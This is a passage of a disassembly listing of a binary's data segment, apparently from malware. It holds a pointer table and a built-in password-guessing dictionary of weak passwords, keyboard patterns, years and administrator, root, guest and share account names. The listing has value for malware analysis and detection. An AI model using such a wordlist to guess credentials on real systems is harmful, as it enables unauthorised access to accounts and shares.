		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_4		; "s"
		dd offset aSs_1		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset byte_438F9C
		dd 0
dword_42E764	dd 10h							; seg000:0040D999r ...
a142536		db '142536',0           ; DATA XREF: seg002:0042E6E4o
		align 10h
a753951		db '753951',0           ; DATA XREF: seg002:0042E6E0o
		align 4
a951753		db '951753',0           ; DATA XREF: seg002:0042E6DCo
		align 10h
a159357		db '159357',0           ; DATA XREF: seg002:0042E6D8o
		align 4
a753159		db '753159',0           ; DATA XREF: seg002:0042E6D4o
		align 10h
a13579		db '13579',0            ; DATA XREF: seg002:0042E6D0o
		align 4
a2684		db '2684',0             ; DATA XREF: seg002:0042E6CCo
		align 10h
a2486		db '2486',0             ; DATA XREF: seg002:0042E6C8o
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: seg002:0042E6C4o
		align 10h
aMnb		db 'mnb',0              ; DATA XREF: seg002:0042E6C0o
a112233		db '112233',0           ; DATA XREF: seg002:0042E6BCo
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: seg002:0042E6B8o
		align 4
a3edc		db '3edc',0             ; DATA XREF: seg002:0042E6B4o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: seg002:0042E6B0o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: seg002:0042E6ACo
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: seg002:0042E6A8o
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg002:0042E6A4o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: seg002:0042E6A0o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg002:0042E69Co
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg002:0042E698o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg002:0042E694o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg002:0042E690o
		align 10h
aQqww		db 'qqww',0             ; DATA XREF: seg002:0042E68Co
		align 4
aAass		db 'aass',0             ; DATA XREF: seg002:0042E688o
		align 10h
aZzxx		db 'zzxx',0             ; DATA XREF: seg002:0042E684o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg002:0042E680o
		align 10h
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg002:0042E67Co
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg002:0042E678o
		align 10h
aZzzz		db 'zzzz',0             ; DATA XREF: seg002:0042E674o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: seg002:0042E670o
aZz		db 'zz',0               ; DATA XREF: seg002:0042E66Co
		align 10h
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: seg002:0042E664o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: seg002:0042E660o
		align 10h
aQqqq		db 'qqqq',0             ; DATA XREF: seg002:0042E65Co
		align 4
aQqq		db 'qqq',0              ; DATA XREF: seg002:0042E658o
aQq		db 'qq',0               ; DATA XREF: seg002:0042E654o
		align 10h
aQ:					; DATA XREF: seg002:0042E650o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: seg002:0042E64Co
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: seg002:0042E648o
		align 4
aWwww		db 'wwww',0             ; DATA XREF: seg002:0042E644o
		align 4
aWww		db 'www',0              ; DATA XREF: seg002:0042E640o
aWw		db 'ww',0               ; DATA XREF: seg002:0042E63Co
		align 4
aW:					; DATA XREF: seg002:0042E638o
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: seg002:0042E634o
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: seg002:0042E630o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: seg002:0042E62Co
		align 10h
aVvv		db 'vvv',0              ; DATA XREF: seg000:0040F4B5o
					; seg002:0042E628o
aVv		db 'vv',0               ; DATA XREF: seg002:0042E624o
		align 4
aV:					; DATA XREF: seg002:0042E620o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: seg002:0042E61Co
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: seg002:0042E618o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: seg002:0042E614o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: seg002:0042E610o
aYy		db 'yy',0               ; DATA XREF: seg002:0042E60Co
		align 4
aY:					; DATA XREF: seg002:0042E608o
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: seg002:0042E604o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: seg002:0042E600o
		align 10h
aTttt		db 'tttt',0             ; DATA XREF: seg002:0042E5FCo
		align 4
aTtt		db 'ttt',0              ; DATA XREF: seg002:0042E5F8o
aTt		db 'tt',0               ; DATA XREF: seg002:0042E5F4o
		align 10h
aT:					; DATA XREF: seg002:0042E5F0o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: seg002:0042E5ECo
		align 4
aSssss		db 'sssss',0            ; DATA XREF: seg002:0042E5E8o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: seg002:0042E5E4o
		align 4
aSss		db 'sss',0              ; DATA XREF: seg002:0042E5E0o
aSs_1		db 'ss',0               ; DATA XREF: seg002:0042E5DCo
		align 4
aS_4:					; DATA XREF: seg002:0042E5D8o
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: seg002:0042E5D4o
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: seg002:0042E5D0o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: seg002:0042E5CCo
		align 10h
aUuu		db 'uuu',0              ; DATA XREF: seg002:0042E5C8o
aUu		db 'uu',0               ; DATA XREF: seg002:0042E5C4o
		align 4
aU:					; DATA XREF: seg002:0042E5C0o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: seg002:0042E5BCo
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: seg002:0042E5B8o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: seg002:0042E5B4o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: seg002:0042E5B0o
aPp		db 'pp',0               ; DATA XREF: seg002:0042E5ACo
		align 4
aP:					; DATA XREF: seg002:0042E5A8o
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: seg002:0042E5A4o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: seg002:0042E5A0o
		align 10h
aOooo		db 'oooo',0             ; DATA XREF: seg002:0042E59Co
		align 4
aOoo		db 'ooo',0              ; DATA XREF: seg002:0042E598o
aOo		db 'oo',0               ; DATA XREF: seg002:0042E594o
		align 10h
aO:					; DATA XREF: seg002:0042E590o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: seg002:0042E58Co
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: seg002:0042E588o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: seg002:0042E584o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: seg002:0042E580o
aNn		db 'nn',0               ; DATA XREF: seg002:0042E57Co
		align 4
aN:					; DATA XREF: seg002:0042E578o
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: seg002:0042E574o
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: seg002:0042E570o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: seg002:0042E56Co
		align 10h
aMmm		db 'mmm',0              ; DATA XREF: seg002:0042E568o
aMm		db 'mm',0               ; DATA XREF: seg002:0042E564o
		align 4
aM:					; DATA XREF: seg002:0042E560o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: seg002:0042E55Co
		align 4
aLllll		db 'lllll',0            ; DATA XREF: seg002:0042E558o
		align 4
aLlll		db 'llll',0             ; DATA XREF: seg002:0042E554o
		align 4
aLll		db 'lll',0              ; DATA XREF: seg002:0042E550o
aLl		db 'll',0               ; DATA XREF: seg002:0042E54Co
		align 4
asc_42EA0C:				; DATA XREF: seg002:0042E548o
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: seg002:0042E544o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: seg002:0042E540o
		align 10h
aKkkk		db 'kkkk',0             ; DATA XREF: seg002:0042E53Co
		align 4
aKkk		db 'kkk',0              ; DATA XREF: seg002:0042E538o
aKk		db 'kk',0               ; DATA XREF: seg002:0042E534o
		align 10h
aK:					; DATA XREF: seg002:0042E530o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: seg002:0042E52Co
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: seg002:0042E528o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: seg002:0042E524o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: seg002:0042E520o
aJj		db 'jj',0               ; DATA XREF: seg002:0042E51Co
		align 4
aJ:					; DATA XREF: seg002:0042E518o
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: seg002:0042E514o
		align 10h
aIiiii		db 'iiiii',0            ; DATA XREF: seg002:0042E510o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: seg002:0042E50Co
		align 10h
aIii		db 'iii',0              ; DATA XREF: seg002:0042E508o
aIi		db 'ii',0               ; DATA XREF: seg002:0042E504o
		align 4
aI_0:					; DATA XREF: seg002:0042E500o
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: seg002:0042E4FCo
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: seg002:0042E4F8o
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: seg002:0042E4F4o
		align 4
aHhh		db 'hhh',0              ; DATA XREF: seg002:0042E4F0o
aHh		db 'hh',0               ; DATA XREF: seg002:0042E4ECo
		align 4
asc_42EA9C:				; DATA XREF: seg002:0042E4E8o
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: seg002:0042E4E4o
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: seg002:0042E4E0o
		align 10h
aGggg		db 'gggg',0
		align 4
aGgg		db 'ggg',0
aGg		db 'gg',0
		align 10h
aG:
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0
		align 4
aEeeee		db 'eeeee',0
		align 4
aEeee		db 'eeee',0
		align 4
aEee		db 'eee',0
aEe		db 'ee',0
		align 4
aE:
		unicode	0, <e>,0
aFffff		db 'fffff',0
		align 10h
aFfff		db 'ffff',0
		align 4
aFff		db 'fff',0              ; DATA XREF: seg002:0042E4ACo
aFf		db 'ff',0               ; DATA XREF: seg002:0042E4A8o
		align 10h
aF:					; DATA XREF: seg002:0042E4A4o
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: seg002:0042E4A0o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: seg002:0042E49Co
		align 4
aDdd		db 'ddd',0
aDd_1		db 'dd',0
		align 4
aD:
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0
		align 4
aCccccccc	db 'cccccccc',0
		align 4
aCcccccc	db 'ccccccc',0
aCccccc		db 'cccccc',0           ; DATA XREF: seg002:0042E480o
		align 4
aCcccc		db 'ccccc',0
		align 10h
aCccc_0		db 'cccc',0             ; DATA XREF: seg002:0042E478o
		align 4
aCcc		db 'ccc',0
aCc		db 'cc',0               ; DATA XREF: seg002:0042E470o
		align 10h
aC_1:
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: seg002:0042E468o
		align 10h
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: seg002:0042E464o
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: seg002:0042E460o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: seg002:0042E45Co
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: seg002:0042E458o
		align 4
aBbbb		db 'bbbb',0
		align 4
aBbb		db 'bbb',0
aBb		db 'bb',0
		align 4
aB_0:
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: seg002:0042E444o
aEdc		db 'edc',0
aWsx		db 'wsx',0              ; DATA XREF: seg002:0042E43Co
aQaz		db 'qaz',0
aAsdfghjkl	db 'asdfghjkl',0
		align 4
aAsdfghjk	db 'asdfghjk',0
		align 10h
aAsdfghj	db 'asdfghj',0
aAsdfgh		db 'asdfgh',0
		align 10h
aAsdfg		db 'asdfg',0
		align 4
aAs		db 'as',0               ; DATA XREF: seg002:0042E418o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: seg002:0042E414o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: seg002:0042E410o
		align 4
aZxcvb		db 'zxcvb',0
		align 4
aZxc		db 'zxc',0
aZx		db 'zx',0
		align 4
aZ:					; DATA XREF: seg002:0042E3FCo
					; seg002:0042E668o
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: seg002:0042E3F8o
aToyota_0	db 'TOYOTA',0           ; DATA XREF: seg002:0042E3C0o
		align 10h
aKor		db 'KOR',0              ; DATA XREF: seg002:0042E3BCo
aKor_0		db 'kor',0              ; DATA XREF: seg002:0042E3B4o
aChi		db 'chi',0              ; DATA XREF: seg002:0042E3B0o
aChi_0		db 'CHI',0              ; DATA XREF: seg002:0042E3ACo
aSystem		db 'system',0           ; DATA XREF: seg002:0042E3A4o
					; seg002:0042E6E8o
		align 4
aServices	db 'services',0         ; DATA XREF: seg002:0042E3A0o
		align 4
aServers	db 'servers',0          ; DATA XREF: seg002:0042E39Co
aServer_0	db 'server',0           ; DATA XREF: seg002:0042E394o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: seg002:0042E38Co
		align 10h
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: seg002:0042E388o
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: seg002:0042E384o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: seg002:0042E380o
aQwe		db 'qwe',0              ; DATA XREF: seg002:0042E370o
aQw		db 'qw',0               ; DATA XREF: seg002:0042E36Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: seg002:0042E368o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: seg002:0042E364o
		align 10h
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg002:0042E360o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg002:0042E35Co
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg002:0042E358o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg002:0042E354o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg002:0042E350o
		align 10h
aAaaa		db 'aaaa',0             ; DATA XREF: seg002:0042E34Co
		align 4
aAa		db 'aa',0               ; DATA XREF: seg002:0042E344o
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: seg002:0042E338o
		align 4
aSex		db 'SEX',0              ; DATA XREF: seg002:0042E334o
aCreative	db 'CREATIVE',0         ; DATA XREF: seg002:0042E330o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: seg002:0042E32Co
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg002:0042E328o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: seg002:0042E324o
		align 10h
aSony_0		db 'SONY',0             ; DATA XREF: seg002:0042E320o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: seg002:0042E31Co
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg002:0042E318o
aSony		db 'sony',0             ; DATA XREF: seg002:0042E314o
		align 10h
a7654321	db '7654321',0          ; DATA XREF: seg002:0042E310o
a4321		db '4321',0             ; DATA XREF: seg002:0042E304o
		align 10h
a321		db '321',0              ; DATA XREF: seg002:0042E300o
a2006		db '2006',0             ; DATA XREF: seg002:0042E2F8o
		align 4
a2005		db '2005',0             ; DATA XREF: seg002:0042E2F4o
		align 4
a2004		db '2004',0             ; DATA XREF: seg002:0042E2F0o
		align 4
a2001		db '2001',0             ; DATA XREF: seg002:0042E2E4o
		align 4
a2000		db '2000',0             ; DATA XREF: seg002:0042E2E0o
		align 4
a1999		db '1999',0             ; DATA XREF: seg002:0042E2DCo
		align 4
a1998		db '1998',0             ; DATA XREF: seg002:0042E2D8o
		align 4
a1997		db '1997',0             ; DATA XREF: seg002:0042E2D4o
		align 4
a1996		db '1996',0             ; DATA XREF: seg002:0042E2D0o
		align 4
a1995		db '1995',0             ; DATA XREF: seg002:0042E2CCo
		align 4
a1994		db '1994',0             ; DATA XREF: seg002:0042E2C8o
		align 4
a1993		db '1993',0             ; DATA XREF: seg002:0042E2C4o
		align 4
a1992		db '1992',0             ; DATA XREF: seg002:0042E2C0o
		align 4
a1991		db '1991',0             ; DATA XREF: seg002:0042E2BCo
		align 4
a1990		db '1990',0             ; DATA XREF: seg002:0042E2B8o
		align 4
a1989		db '1989',0             ; DATA XREF: seg002:0042E2B4o
		align 4
a1988		db '1988',0             ; DATA XREF: seg002:0042E2B0o
		align 4
a1987		db '1987',0             ; DATA XREF: seg002:0042E2ACo
		align 4
a1986		db '1986',0             ; DATA XREF: seg002:0042E2A8o
		align 4
a1985		db '1985',0             ; DATA XREF: seg002:0042E2A4o
		align 4
a1984		db '1984',0             ; DATA XREF: seg002:0042E2A0o
		align 4
a1983		db '1983',0             ; DATA XREF: seg002:0042E29Co
		align 4
a1982		db '1982',0             ; DATA XREF: seg002:0042E298o
		align 4
a1981		db '1981',0             ; DATA XREF: seg002:0042E294o
		align 4
a1980		db '1980',0             ; DATA XREF: seg002:0042E290o
		align 4
a1979		db '1979',0             ; DATA XREF: seg002:0042E28Co
		align 4
a1978		db '1978',0             ; DATA XREF: seg002:0042E288o
		align 4
a1977		db '1977',0             ; DATA XREF: seg002:0042E284o
		align 4
a1976		db '1976',0             ; DATA XREF: seg002:0042E280o
		align 4
a1975		db '1975',0             ; DATA XREF: seg002:0042E27Co
		align 4
a1974		db '1974',0             ; DATA XREF: seg002:0042E278o
		align 4
a1973		db '1973',0             ; DATA XREF: seg002:0042E274o
		align 4
a1972		db '1972',0             ; DATA XREF: seg002:0042E270o
		align 4
a1971		db '1971',0             ; DATA XREF: seg002:0042E26Co
		align 4
a1970		db '1970',0             ; DATA XREF: seg002:0042E268o
		align 4
a1969		db '1969',0             ; DATA XREF: seg002:0042E264o
		align 4
a1968		db '1968',0             ; DATA XREF: seg002:0042E260o
		align 4
a1967		db '1967',0             ; DATA XREF: seg002:0042E25Co
		align 4
a1966		db '1966',0             ; DATA XREF: seg002:0042E258o
		align 4
a1965		db '1965',0             ; DATA XREF: seg002:0042E254o
		align 4
a1964		db '1964',0             ; DATA XREF: seg002:0042E250o
		align 4
a1963		db '1963',0             ; DATA XREF: seg002:0042E24Co
		align 4
a1962		db '1962',0             ; DATA XREF: seg002:0042E248o
		align 4
a1961		db '1961',0             ; DATA XREF: seg002:0042E244o
		align 4
a1960		db '1960',0             ; DATA XREF: seg002:0042E240o
		align 4
a1959		db '1959',0             ; DATA XREF: seg002:0042E23Co
		align 4
a1958		db '1958',0             ; DATA XREF: seg002:0042E238o
		align 4
a1957		db '1957',0             ; DATA XREF: seg002:0042E234o
		align 4
a1956		db '1956',0             ; DATA XREF: seg002:0042E230o
		align 4
a1955		db '1955',0             ; DATA XREF: seg002:0042E22Co
		align 4
a1954		db '1954',0             ; DATA XREF: seg002:0042E228o
		align 4
a1953		db '1953',0             ; DATA XREF: seg002:0042E224o
		align 4
a1952		db '1952',0             ; DATA XREF: seg002:0042E220o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: seg002:0042E21Co
a1234asd	db '1234asd',0          ; DATA XREF: seg002:0042E218o
a1234abc	db '1234abc',0          ; DATA XREF: seg002:0042E214o
a123qwer	db '123qwer',0          ; DATA XREF: seg002:0042E200o
a12qwe		db '12qwe',0            ; DATA XREF: seg002:0042E1FCo
		align 4
a12asd		db '12asd',0            ; DATA XREF: seg002:0042E1F8o
		align 4
a12abc		db '12abc',0            ; DATA XREF: seg002:0042E1F4o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: seg002:0042E1F0o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: seg002:0042E1ECo
		align 4
a1asd		db '1asd',0             ; DATA XREF: seg002:0042E1E8o
		align 4
a1abc		db '1abc',0             ; DATA XREF: seg002:0042E1E4o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: seg002:0042E1E0o
		align 4
a123467890	db '123467890',0        ; DATA XREF: seg002:0042E1DCo
		align 4
a12346789	db '12346789',0         ; DATA XREF: seg002:0042E1D8o
		align 4
a1234678	db '1234678',0          ; DATA XREF: seg002:0042E1D4o
a123467		db '123467',0           ; DATA XREF: seg002:0042E1D0o
		align 4
a12346		db '12346',0            ; DATA XREF: seg002:0042E1CCo
		align 4
a121		db '121',0              ; DATA XREF: seg002:0042E1A4o
a1020		db '1020',0             ; DATA XREF: seg002:0042E19Co
		align 4
a0258		db '0258',0             ; DATA XREF: seg002:0042E198o
		align 10h
a8520		db '8520',0             ; DATA XREF: seg002:0042E194o
		align 4
a987		db '987',0              ; DATA XREF: seg002:0042E190o
a789		db '789',0              ; DATA XREF: seg002:0042E18Co
a654		db '654',0              ; DATA XREF: seg002:0042E188o
a456		db '456',0              ; DATA XREF: seg002:0042E184o
a1122		db '1122',0             ; DATA XREF: seg002:0042E180o
		align 10h
a0147		db '0147',0             ; DATA XREF: seg002:0042E17Co
		align 4
a7410		db '7410',0             ; DATA XREF: seg002:0042E178o
		align 10h
a9999999999	db '9999999999',0       ; DATA XREF: seg002:0042E170o
		align 4
a999999999	db '999999999',0        ; DATA XREF: seg002:0042E16Co
		align 4
a99999999	db '99999999',0         ; DATA XREF: seg002:0042E168o
		align 4
a9999999	db '9999999',0          ; DATA XREF: seg002:0042E164o
a999999		db '999999',0           ; DATA XREF: seg002:0042E160o
		align 4
a99999		db '99999',0            ; DATA XREF: seg002:0042E15Co
		align 4
a9999		db '9999',0             ; DATA XREF: seg002:0042E158o
		align 4
a999		db '999',0              ; DATA XREF: seg002:0042E154o
a99		db '99',0               ; DATA XREF: seg002:0042E150o
		align 4
a9:					; DATA XREF: seg002:0042E14Co
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: seg002:0042E148o
		align 4
a888888888	db '888888888',0        ; DATA XREF: seg002:0042E144o
		align 4
a8888888	db '8888888',0          ; DATA XREF: seg002:0042E13Co
a888888		db '888888',0           ; DATA XREF: seg002:0042E138o
		align 4
a88888		db '88888',0            ; DATA XREF: seg002:0042E134o
		align 10h
a8888		db '8888',0             ; DATA XREF: seg002:0042E130o
		align 4
a888		db '888',0              ; DATA XREF: seg002:0042E12Co
a88		db '88',0               ; DATA XREF: seg002:0042E128o
		align 10h
a8:					; DATA XREF: seg002:0042E124o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: seg002:0042E120o
		align 10h
a777777777	db '777777777',0        ; DATA XREF: seg002:0042E11Co
		align 4
a77777777	db '77777777',0         ; DATA XREF: seg002:0042E118o
		align 4
a7777777	db '7777777',0          ; DATA XREF: seg002:0042E114o
a777777		db '777777',0           ; DATA XREF: seg002:0042E110o
		align 4
a77777		db '77777',0            ; DATA XREF: seg002:0042E10Co
		align 10h
a7777		db '7777',0             ; DATA XREF: seg002:0042E108o
		align 4
a777		db '777',0              ; DATA XREF: seg002:0042E104o
a77		db '77',0               ; DATA XREF: seg002:0042E100o
		align 10h
a7:					; DATA XREF: seg002:0042E0FCo
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: seg002:0042E0F8o
		align 10h
a666666666	db '666666666',0        ; DATA XREF: seg002:0042E0F4o
		align 4
a66666666	db '66666666',0         ; DATA XREF: seg002:0042E0F0o
		align 4
a6666666	db '6666666',0          ; DATA XREF: seg002:0042E0ECo
a666666		db '666666',0           ; DATA XREF: seg002:0042E0E8o
		align 4
a66666		db '66666',0            ; DATA XREF: seg002:0042E0E4o
		align 10h
a6666		db '6666',0             ; DATA XREF: seg002:0042E0E0o
		align 4
a666		db '666',0              ; DATA XREF: seg002:0042E0DCo
a66		db '66',0               ; DATA XREF: seg002:0042E0D8o
		align 10h
a6:					; DATA XREF: seg002:0042E0D4o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: seg002:0042E0D0o
		align 10h
a555555555	db '555555555',0        ; DATA XREF: seg002:0042E0CCo
		align 4
a55555555	db '55555555',0         ; DATA XREF: seg002:0042E0C8o
		align 4
a5555555	db '5555555',0          ; DATA XREF: seg002:0042E0C4o
a555555		db '555555',0           ; DATA XREF: seg002:0042E0C0o
		align 4
a55555		db '55555',0            ; DATA XREF: seg002:0042E0BCo
		align 10h
a5555		db '5555',0             ; DATA XREF: seg002:0042E0B8o
		align 4
a555		db '555',0              ; DATA XREF: seg002:0042E0B4o
a55		db '55',0               ; DATA XREF: seg002:0042E0B0o
		align 10h
a5:					; DATA XREF: seg002:0042E0ACo
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg002:0042E0A8o
		align 10h
a444444444	db '444444444',0        ; DATA XREF: seg002:0042E0A4o
		align 4
a44444444	db '44444444',0         ; DATA XREF: seg002:0042E0A0o
		align 4
a4444444	db '4444444',0          ; DATA XREF: seg002:0042E09Co
a444444		db '444444',0           ; DATA XREF: seg002:0042E098o
		align 4
a44444		db '44444',0            ; DATA XREF: seg002:0042E094o
		align 10h
a4444		db '4444',0             ; DATA XREF: seg002:0042E090o
		align 4
a444		db '444',0              ; DATA XREF: seg002:0042E08Co
a44		db '44',0               ; DATA XREF: seg002:0042E088o
		align 10h
a4:					; DATA XREF: seg002:0042E084o
		unicode	0, <4>,0
